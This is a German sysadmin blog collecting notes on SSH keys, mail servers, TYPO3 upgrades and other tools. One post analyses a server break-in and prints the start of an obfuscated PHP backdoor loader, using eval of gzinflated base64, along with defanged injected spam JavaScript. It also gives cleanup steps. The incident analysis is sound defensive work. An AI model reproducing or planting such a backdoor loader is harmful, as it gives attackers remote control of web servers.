Gelegentlich kann es sinnvoll sein die Passworteingabe beim SSH-Login zu vermeiden. Wenn man den SSH-Login z.B. aus einen Script heraus vornehmen will oder wenn andere Nutzer das Passwort auf dem Server ändern können.

In solch einem Fall kann man mit vorab ausgetauschten Schlüsseln arbeiten.

Dazu meldet man sich einmal normal per SSH- mit Passwort an:

ssh benutzer@server

Das kann auch schon lang vorher einmal geschehen sein. Dann erzeugt man sich sein Schlüsselpaar:

 ssh-keygen -t rsa

Auf eine Passphrase kann man verzichten, wenn man den Zugang für ein Script benötigt.

Es werden hiermit zwei Schlüsseldateien im Ordner .ssh erzeugt:

  • id_rsa
    das ist der private Schlüssel den man nicht weitergegeben darf
  • id_rsa.pub
    das ist der öffentliche Schlüssel, den wir auf den Zielrechner übertragen

An einfachsten kann man mit folgendem Befehl den Schlüssel in einem Rutsch übertragen:

 cat .ssh/id_rsa.pub | ssh benutzer@server 'cat >> .ssh/authorized_keys'
Veröffentlicht unter linux.

Kürzlich hatten wir das Problem, dass in der Mail-Warteschlange sehr sehr viele Mail auftauchten. Da waren zum größten Teil fehlgelaufene Systemmeldungen von Arpwatch.

Da habe ich micht etwas mit dem Mailserver Exim beschäftigt.

Für die grundlegenden Befehle gibt es unter http://www.florian-fritsch.com/exim4-kleines-mailqueue-howto/ eine nettes HowTo.

Spannend finde ich auch die Informationen unter http://bradthemad.org/tech/notes/exim_cheatsheet.php, speziell der Befehl

exiqgrep

bietet ungeahnte Möglichkeiten.

Einige Provider haben Sender Policy Framework (SPF) aktiviert. Damit kann der empfangende Server erreichen, dass er nur noch Mails von Servern annimmt, die im SPF-Record der absendenden Domain eingetragen sind. Das sollte theoretisch SPAM verhindern. Mehr Informationen zu dem Problem unter https://www.heinlein-support.de/blog/news/gmx-de-und-web-de-haben-mail-rejects-durch-spf/ .

Leider verhindert das auch alle Weiterleitungen von Mails der absendenden Domain. Eine Lösung für dieses Problem ist ein Umschreiben der Absenderadresse bei der Weiterleitung mittels Sender Rewrite Schema (SRS). Da Postfix dafür von Haus aus keine Komponenten mitbringt braucht man zusätzliche Software.

Im Web finden sich mehrere Projekte für diesen Zweck, die in der Regel mit einem zusätzlichen Dämon arbeiten:

Ich habe mich für postsrsd entschieden und bin der Anleitung unter https://seasonofcode.com/posts/setting-up-dkim-and-srs-in-postfix.html gefolgt.

zipper -i cmake
cd /tmp
wget https://github.com/roehling/postsrsd/archive/master.zipunzip -e master.zip
cd postsrsd-master
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr ../
make
sudo make install

Der letzte Befehlt hat dann folgende Aktionen ausgelöst:

[100%] Built target postsrsd
Install the project...
-- Install configuration: ""
-- Installing: /usr/sbin/postsrsd
-- Installing: /usr/share/doc/postsrsd/README.md
-- Installing: /usr/share/doc/postsrsd/README_UPGRADE.md
-- Installing: /usr/share/doc/postsrsd/main.cf.ex
-- Chroot jail: /usr/lib/postsrsd
-- Installing: /etc/default/postsrsd
-- Installing: /etc/systemd/system/postsrsd.service
-- Generating secret key
-- Installing: /etc/postsrsd.secret

Danach waren die notwendigen Dateien vorhanden. Ein

service postsrsd status

liefert aber die Fehlermeldung:

systemd[1]: [/etc/systemd/system/postsrsd.service:13] Unknown lvalue 'RuntimeDirectory' in section 'Service'

Anscheinend gibt es den Wert RuntimeDirectory in der auf dem Server vorliegenden Version von Systemd noch nicht https://www.freedesktop.org/software/systemd/man/systemd.exec.html . Konsequenterweise startet des Dämon auch nicht, ich musste erst das Verzeichnis /run/postsrsd/ per Hand anlegen.

Danach muss man dann noch die Postfix-Konfiguration zu erweitern, dass der neue Dämon auch eingebunden wird:

sender_canonical_maps = tcp:localhost:10001
sender_canonical_classes = envelope_sender
recipient_canonical_maps = tcp:localhost:10002
recipient_canonical_classes= envelope_recipient,header_recipient

Ich muss das alles einmal in Ruhe testen.

Weitere Anleitungen, die ich testen will:

Gelegentlich gibt es auch dem IServ-Schulserver mal Probleme mit dem Mailsystem. Da ist es erst einmal wichtig zu wissen, wo die Dateien liegen. IServ benutzt Cyrus Imap als Mailserver. Diese Software wäre sicherlich nicht meine erste Wahl.

Die Mails für einen Benutzer namens richard.linde liegen unterhalb von /var/spool/cyrus/mail/user/richard^linde/ . In dem Ordner gibt es dann für jede Nachricht eine Datei, deren Name aus einer Nummer und einem abschließenden Punkt besteht. Dann gibt es in dem Ordner und seinen Unterordner noch die Dateien:

  • cyrus.cache
  • cyrus.header
  • cyrus.index
  • cyrus.squat

Wenn man diese Dateien löscht, dann funktioniert das Mailsystem nicht mehr richtig. Man kann sie im Bedarfsfall aber neu erzeugen lassen mittels:

 su -c "/usr/lib/cyrus/bin/reconstruct -f -r user/richard^linde" cyrus

Dabei entstehen aber nur die ersten drei Dateien.

Die Bedeutung der Dateien ist in https://cyrusimap.org/docs/cyrus-imapd/2.4.9/internal/mailbox-format.php beschrieben.

 

Für die Weiterleitungen und die Spam-Sortierung wird Sieve benutzt.  Die Dateien für den Benutzer findet man in /var/spool/sieve/r/richard^linde/ . Die Datei system.script hat standardmäßig folgenden Inhalt:

require "include";
require "fileinto";
require "vacation";
# include user script
include "user";
# file spam into the Junk folder
if header :matches "X-Spam-Flag" "YES" {
 fileinto "INBOX/Junk"; stop; }

Bei einer aktivierten Weiterleitung kommen folgende Zeilen hinzu:

# redirection
redirect "richard.line@private-email.de";
keep;

Änderungen an dieser Datei haben aber nur dann einen Effekt, wenn sie anschließend in die binäre Darstellung system.bc übertragen werden.

Für Änderungen habe ich unter https://lists.andrew.cmu.edu/pipermail/info-cyrus/2006-March/021151.html gefunden:

- ermittle das Verzeichnis für die Sieve-Scripte: /var/spool/sieve/<1.Buchstabe>/<Benutzername>
- mkdir -p wenn das Verzeichnis nicht existiert
- Kopiere das Benutzerscript in dieses Verzeichnis (eg: user.script)
- sievec user.script user.bc
- ln -s user.bc defaultbc
- (wenn root) setze die Eigentumsverhältnisse auf cyrus.mail

 

Veröffentlicht unter IServ.

Nachdem nun endlich auch TemplaVoila verfügbar ist kann ich an die Updates der „alten“ Systeme gehen. Dabei habe ich erste Erfahrungen gemacht:

  1. Vor der Aktualisierung sollten alle selbst installierten Extensions deaktiviert werden. Bei mir vor allem rgtabs und dropdown_sitemap. Sonst gibt es hinterher Probleme.
  2. Dann möglichst alle Caches löschen, dazu den Ordner typo3temp vollständig leeren.
  3. Nun den Link auf die neuen Sourcen setzen und die Seite aufrufen.
  4. Man muss dann ins Install-Tool (Hoffentlich ist das Passwort noch präsent, sonst einfach in der Konfigurationsdatei neu setzen) und folgt den dort angegebenen Schritten
  5. Important actions: datenbank überprüfen, tt_address und tt_news deaktivieren, Extensions checken,
  6. Menüpunkt Upgrade Wizard, alle Updates durchführen (das kann schon mal einige Minuten dauern, bei umfangreichen Projekten)
  7. Folder structure untersuchen und reparieren lassen
  8. Im Backend anmelden
  9. Dann gibt es manchmal es ein Problem mit der Extension-Liste. Die Lösung war unter https://forge.typo3.org/issues/52859 zu finden, die Zeile muss in die Datenbank:
    INSERT INTO tx_extensionmanager_domain_model_repository VALUES ('1', '0', 'TYPO3.org Main Repository', 'Main repository on typo3.org. This repository has some mirrors configured which are available with the mirror url.', 'http://typo3.org/wsdl/tx_ter_wsdl.php', 'http://repositories.typo3.org/mirrors.xml.gz', '1346191200', '0');
  10. Weitere Probleme kann es mit der Dateiliste geben. Eventuell wird eine zusätzliche Freigabe automatisch erzeugt, die dann Probleme bereitet (s.u.).
  11. Die Extensionliste aktualisieren, Extensions aktualisieren und ggf. wieder aktivieren.
  12. Spracheinstellungen vornehmen und aktualisieren

Wenn keine besonderen Extensions auftauchen, dann sollte es das gewesen sein.

Beim Erzeugen von Grafiken muss man in der Regel die Zeile

file.treatIdAsReference = 1

hinzufügen.

Gelegentlich taucht ein Fehler auf, der unter http://wiki.typo3.org/Exception/CMS/1319455097 beschrieben ist:

Oops, an error occurred! Error while fetching permissions for More information regarding this error might be available online.
exception raised in the upgrade wizard from Version 4.5.29 LTS to 6.2.2 LTS. Step: "Migrate all file links of RTE-enabled fields to FAL"
no error messages appeared in /var/log/apache/error_log
I found the solution;-) I had a new file storage in fileadmin which was automatically created by the upgrade process.
how to solve this; go to your mysql database; use  select uid, name from sys_file_storage;
find entries which are new and not necessary! (be very careful - this could destroy your typo3 installation!!)
delete from sys_file_storage where uid = xxx;

Das geschieht anscheinend immer dann, wenn man weitere Verzeichnisfreigaben gemacht hat. Ich lösche dann dem Tipp folgend alle Einträge mit einer uid>1, danach kommt man dann auf alle Fälle weiter.

 

Wenn ein normaler Redakteur (nicht Admin) versucht ein Bild einzubinden und die Meldung „Access denied“ bekommt, dann muss man die Zugriffsrechte auf die (neue) Tabelle File Reference bearbeiten: http://www.npostnik.de/2013/07/

Das aktuelle Heft (1/2014) der Zeitschrift c’t hat sich mal wieder gelohnt. Auf Seite 59 findet sich ein kleine Beitrag über die Software OCRMyPDF. Damit ist man in der  Lage einfache PDF-Dokumente mit einer Textebene per OCR zu versehen.

Die Software selber gibt es unter https://github.com/fritz-hh/OCRmyPDF zum Download. Ich musste noch das Pakt tesseract nachinstallieren, welches die eigentlich OCR-Arbeit übernimmt.

Das Tool, eine Sammlung von Scripten für sowieso vorhandene Programmpakete, muss nicht weiter installiert werden. Direkt nach dem Entpacken ist es per

 sh OCRmyPDF.sh -l deu quelle.pdf ziel.pdf

ausführbar.

Nach der Aktualisierung von Typo3 oder der Übersetzungen in Typo3 kann es Probleme mit dem Extension-Manager geben. Dort steht dann nur die „neue“ Version zur Verfügung und nicht mehr die Punkte für die  „alte Version“.
Wir haben nun zwei Möglichkeiten:

1. Wir lassen sich von Herrn Weiland erzählen, wie die neue Version funktioniert:
http://jweiland.net/typo3-hosting/service/video-anleitungen/typo3-version-45-extension-manager.html

2. Wir schalten das alte Interface wieder frei:
man muss dazu unter Adminwerkzeuge -> Erweiterungen -> Lokale Erweiterungsliste  auf  Extension Manager klicken.
Dort unter Konfiguration bei Alte Module anzeigen den Haken entfernen. Unten auf Aktualisieren klicken, den Haken wieder setzen, erneut auf Aktualisieren klicken.
Also einmal raus, dann wieder rein!!!
Danach oben auf den Blitz Alle Caches löschen.
Nun sollte die komplette Auswahl wieder zur Verfügung stehen, wenn nicht nochmal F5 zum Aktualisieren des Browsers.

Beim Aktualisieren von moneyplex 09 auf moneyplex 12 unter Ubuntu 12.04 hatte ich das Problem, dass die neue Software-Version nicht auf das Internet zugreifen konnte. Damit waren weder Software-Updates noch Konto-Aktualisierungen möglich.

Nach einem hilfreichen Hinweis vom Matrica-Support habe ich dann das Problem in der resolf.conf gefunden.

Mein Arbeitsplatzrechner hat eine feste IP-Adresse (er vergibt auch die IP-Adressen im Netz). Außerdem läuft auf dem Rechner auch der Nameserver für das Netz. Bisher hat das allen Programmen gelangt. Die 12 moneyplex fragt nun wohl irgendwo die resolv.conf ab, was die Version 09 anscheinend nicht machte. Das erklärt auch, warum moneyplex 12 auf anderen Rechnern im Netz problemlos lief, nur auf meinem Hauptrechner nicht. Die anderen Rechner haben ihre Daten per DHCP  bezogen und dabei wird automatisch die resolv.conf aktualisiert.

Ich habe auf meinem Hauptrechner jetzt also die Datei /etc/network/interfaces etwas erweitert:

 auto lo 
 iface lo inet loopback 
 auto eth0 iface eth0 inet static 
 address 192.168.1.1 
 netmask 255.255.255.0 
 gateway 192.168.1.254
 dns-domain debacher.local
 dns-search  debacher.local
 dns-nameservers 192.168.1.1 192.168.1.254

Die ersten 7 Zeilen waren schon vorhanden, ich habe jetzt die drei letzten Zeilen ergänzt. Nach einem /etc/networking/restart wurden die Informationen dann in die /etc/resolv.conf bzw. genaugenommen /run/resolvconf/resolv.conf übernommen.

Schön, dass es Firmen gibt, die sich darum bemühen ihren Kunden bei Problemen zu helfen.

In einem meiner Server hat es einen Einbruch gegeben, vermutlich sogar zwei zur gleichen Zeit. Der Einbrecher hat einen Fehler in der Erweitereung eXtplorer genutzt, um eigene PHP-Scripten auf den Server zu laden. Die PHP-Scripten haben zum Teil vorhandene Dateien überschrieben, aber teilweise auch einfach auch fünfstellige Nummer als Dateinamen gehabt. Die Dateien begannen meist mit:

<?php
$auth_pass = "d738664f57d0cc63169931feb9cb5";
$color = "#df5";$default_action = "FilesMan";$default_use_ajax = true;$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp

Die Angaben hinter $auth_pass variierten jeweils, der Rest war ziemlich gleich. Wenn man das dekodiert, dann bekommt man ein nettes Backdoor-Programm, mit dem man auf dem Server eine ganze Menge anfangen kann. Das reicht von einer eingebauten Shell bis zu Zugriffen auf die Datenbank.

Eine Weile war mir nicht klar, was der Angreifer mit dem Backdoor anfangen wollte. Meine eigenen Scripten und auch die Suchprogramme für Rootkits konnten keine veränderten Systemprogramme finden. Die Erklärung hat sich dann in den Joomla Datenbanken gefunden. Dort fanden sich am Ende von vorhandenen Einträgen in die Tabelle jos_content dann Einträge wie:

Hinweis: Ich haue ein paar Leerzeichen in den Code, damit er nicht ausgeführt wird und verändere natürlich auch die Links.

<!-- rk_czxV1dv1UTfErdQy28 -->
<div class="dnn" id="3743610">    
<p>purchase viagra from oots - <a href="http://lee-spammer.com/#836810">viagra online</a></p></div>
<!-- /rk_czxV1dv1UTfErdQy28 --> <!-- rk_czxV1dv1UTfErdQy29 -->
<div class="dnn" id="967814">    <p>buy cialis india <a href="http://spammpharmacy.com/#348">buy cialis online canada - spammpharmacy.com</a>
 buy cialis paypal payment</p></div><!-- /rk_czxV1dv1UTfErdQy29 --> 
<!-- rk_czxV1dv1UTfErdQy28 -->
<sc ript type="text/javascript">docu ment.wri te(une scape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%0A%66%75%6E%63%74%69%6F%6E%20%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%0A%7B%0A%76%61%72%20%61%3D%30%2C%6D%2C%76%2C%74%2C%7A%2C%78%3D%6E%65%77%20%41%72%72%61%79%28%27%39%30%39%31%39%36%38%33%37%36%27%2C%27%38%38%38%37%39%31%38%31%39%32%38%31%38%37%38%36%33%34%37%33%37%34%39%31%38%37%38%34%39%33%39%32%37%37%33%35%39%32%38%37%38%38%33%34%32%31%33%33%33%33%33%33%33%33%38%38%39%36%27%2C%27%37%37%38%37%38%37%27%2C%27%39%34%39%39%39%30%37%39%33%39%31%37%39%34%37%39%39%38%39%34%32%35%37%37%39%33%39%33%31%37%27%29%2C%6C%3D%78%2E%6C%65%6E%67%74%68%3B%0A%77%68%69%6C%65%28%2B%2B%61%3C%3D%6C%29%7B%6D%3D%78%5B%6C%2D%61%5D%3B%0A%74%3D%7A%3D%27%27%3B%0A%66%6F%72%28%76%3D%30%3B%76%3C%6D%2E%6C%65%6E%67%74%68%3B%29%7B%74%2B%3D%6D%2E%63%68%61%72%41%74%28%76%2B%2B%29%3B%0A%69%66%28%74%2E%6C%65%6E%67%74%68%3D%3D%32%29%7B%7A%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%70%61%72%73%65%49%6E%74%28%74%29%2B%32%35%2D%6C%2B%61%29%3B%0A%74%3D%27%27%3B%7D%7D%78%5B%6C%2D%61%5D%3D%7A%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%27%2B%78%5B%30%5D%2B%27%20%27%2B%78%5B%34%5D%2B%27%3E%2E%27%2B%78%5B%32%5D%2B%27%7B%27%2B%78%5B%31%5D%2B%27%7D%3C%2F%27%2B%78%5B%30%5D%2B%27%3E%27%29%3B%7D%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%3B%0A%3C%2F%73%63%72%69%70%74%3E'));</script>

Also etwas Spam-Text und dann verdeckter Javascript-Code.

Wenn man den entschlüsselt ergibt sich der folgende Code.

<sc ript language="Java Script">function dnn ViewState(){var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];t=z='';for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t='';}}x[l-a]=z;}doc ument.wr ite('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();</sc ript>

Wenn man das analysiert, dann kommt man zu

<style undefined>.dnn{pos ition:absolute;top:-9999px}</style>

Der Code dient also nur dazu die Textblöcke für den normalen Benutzer unsichtbar zu machen. Google führt den Javascript-Code nicht aus und sieht dann den Text des Spammers, was das Ziel der Übung sein dürfte. Es geht also um die sog. Suchmaschinenoptimierung.

Wenn man wissen will, was der Einbrecher alles verändert hat, dann kann man die Logdateien von MySQL befragen. Dazu gibt man im MySQL-Verzeichnis z.B. ein:

mysqlbinlog --database=meineDatenbank mysql-bin.000129 | grep rk_czx

Damit ermittelt man alle Einträge in der Datei, die sich auf die angegebene Datenbank beziehen. Für eine schnelle Suche übergibt man die Treffer an grep und lässt eine Zeichenkette suche, die man vorher gefunden hat.

Entfernen kann man die Einträge dann direkt in der Datenbank z.B. mit dem Programm phpmyadmin.

Zum Ausfüllen von PDF-Formularen benutze ich schon seit Jahren die Software CABAReT Stage von http://www.cabaret-solutions.com/ und möchte die auch nicht mehr missen. Die Software ist zwar nicht frei, aber für Privatanwender kostenlos.

Nach der Neuinstallation meines Rechner mit Ubuntu 12.04 wollte die Installation von CABAReT Stage 4.2.1 in meinem Homeverzeichnis nicht mehr funktionieren. Es erschien zwar die Oberfläche, aber nicht die geöffneten Dokumente. Auch die neuere Version 5.2.1 lief nicht, hier  erscheint die Oberfläche erst gar nicht.

Die Hoempage liefert nur den Hinweis, die Software würde nur mit dem Original Java von SUN/Oracle laufen. Die Installation brachte aber keine Veränderung. Den Logdateien der Software, bzw. den Startmeldungen an der Konsole war aber zu entnehmen, dass Freetype und Ghostscipt irgendwie benötigt werden. Die Software war zwar installiert, nicht aber die Entwicklerdateien. Nun läuft jedenfalls die 4.2.1-Version einwandfrei.